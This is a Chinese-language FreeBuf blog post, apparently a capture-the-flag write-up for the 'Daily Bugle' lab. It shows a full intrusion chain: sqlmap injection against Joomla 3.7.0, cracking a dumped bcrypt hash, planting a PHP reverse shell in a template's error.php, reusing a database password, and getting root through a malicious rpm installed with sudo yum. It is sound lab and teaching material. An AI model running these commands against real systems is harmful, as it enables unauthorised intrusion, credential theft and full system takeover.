freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Daily Bugle
2023-05-13 14:45:04
所属地 北京

通过 SQLi 破坏 Joomla CMS 帐户,练习破解哈希并利用 yum 提升您的权限。

.信息收集

nmap -sV -sC 10.10.102.79

1683960522_645f32ca7a3dadfd948cf.png!small

开放了22803306端口

.枚举HTTP

访问http://10.10.102.79

1683960528_645f32d0b2821c7896534.png!small

通过nmap扫描的结果,我们发现网站使用了joomla框架,我们可以再验证一下,查看网页源代码

1683960534_645f32d66f015636b31aa.png!small

可以确认网站使用joomla CMS

我们下载joomla专用扫描工具joomscan扫描网站

git clone https://github.com/OWASP/joomscan.git

cd joomscan

perl joomscan.pl http://10.10.102.79

1683960541_645f32dd3469dacf76530.png!small

1683960551_645f32e7395ee79c34ba0.png!small

我们识别出了jommla的版本以及一些路径。

.利用SQL注入

我们使用searchsploit工具查找joomla 3.7.0的漏洞

1683960556_645f32ecce78500d95548.png!small

cat `locate 42033.txt`

1683960564_645f32f4a2b529a3a70b1.png!small

根据42033.txt的内容,我们使用sqlmap直接对主机进行SQL注入

sqlmap -u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

1683960571_645f32fb04f775d178e39.png!small

我略去了找到对应表的过程,直接给出结论。

sqlmap -u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -D joomla -T '#__users' -C password,username --dump

1683960576_645f330029c839e483fe8.png!small

hash值导出,并进行爆破

echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash

John hash --wordlist=/usr/share/wordlist/rockyou.txt

1683960585_645f330985ff1e333fac3.png!small

得到了jonah用户的密码spiderman123

.获得立足点(joomla getshell)

我们利用获得的账号和密码登录管理员页面(我是分几次记录这个笔记,所以目标ip会变化)

1683960592_645f33104182b5caed804.png!small

在模板新建一个 php 文件:Extensions -> Templates -> Templates

1683960597_645f331547c386b8aa551.png!small

我们选择第一个模板

1683960609_645f3321888624942f9dc.png!small

1683960622_645f332ec172e1ae39a74.png!small

我们可以直接修改error.php,将恶意php文件写入error.php

我们使用php-reverse-shell.php,将文件克隆到本地。

git clone https://github.com/pentestmonkey/php-reverse-shell.git

修改ip和端口,同时设置监听

1683960628_645f33340df9ed7a9ab6d.png!small

error.php的内容修改为php-reverse.php

1683960632_645f3338f32a224239752.png!small

在浏览器中访问连接http://10.10.236.62/templates/beez3/error.php

成功获取到shell

1683960637_645f333d8f7c914dda9de.png!small

.权限提升

home目录下只有一个用户jjameson,我们想办法切换到这个用户

1683960642_645f33421bba06471dd98.png!small

但是目前没有其他信息,我们在本地文件找找相关信息

我们在/var/www/html/configuration.php中发现了数据库的账号和密码

1683960646_645f3346bfeb5c3c5adb0.png!small

尝试使用密码nv5uz9r3ZEDzVjNu进行登录,成功登录

1683960655_645f334fc11ece4a80b15.png!small

找到了第一个flag

1683960660_645f335498658421584ec.png!small

使用suid提权

find / -user root -perm -4000 -print

以下命令具有suid权限

1683960665_645f33598d6f1aaab522d.png!small

sudo -l 显示当前用户可以用 sudo 执行那些命令

1683960669_645f335ddb10adb51bcca.png!small

jjameson用户可以以root权限执行yum

参考https://gtfobins.github.io/gtfobins/yum/

1683960674_645f3362d21bba543dd45.png!small

我们在本地构建一个恶意的rpm文件,并上传到靶机上,再让靶机安装rpm文件,达到命令执行的目的。

gem install fpm

TF=$(mktemp -d)

echo 'id' > $TF/x.sh

fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF

1683960680_645f336893c0ce9dda65a.png!small

启动python网路服务器

python -m http.server

并在靶机上下载x-1.0-1.noarch.rpm

1683960685_645f336db436d047c9939.png!small

sudo yum localinstall -y x-1.0-1.noarch.rpm

成功执行id命令

1683960690_645f33726954ff6ab4110.png!small

我们用同样的方法制作rpm包,执行

cp /bin/bash /tmp/stef2 && chmod +s /tmp/stef2

1683960695_645f3377603257afa6a01.png!small

# 网络安全 # web安全 # 系统安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试技术分享
  • 0 文章数
  • 0 关注者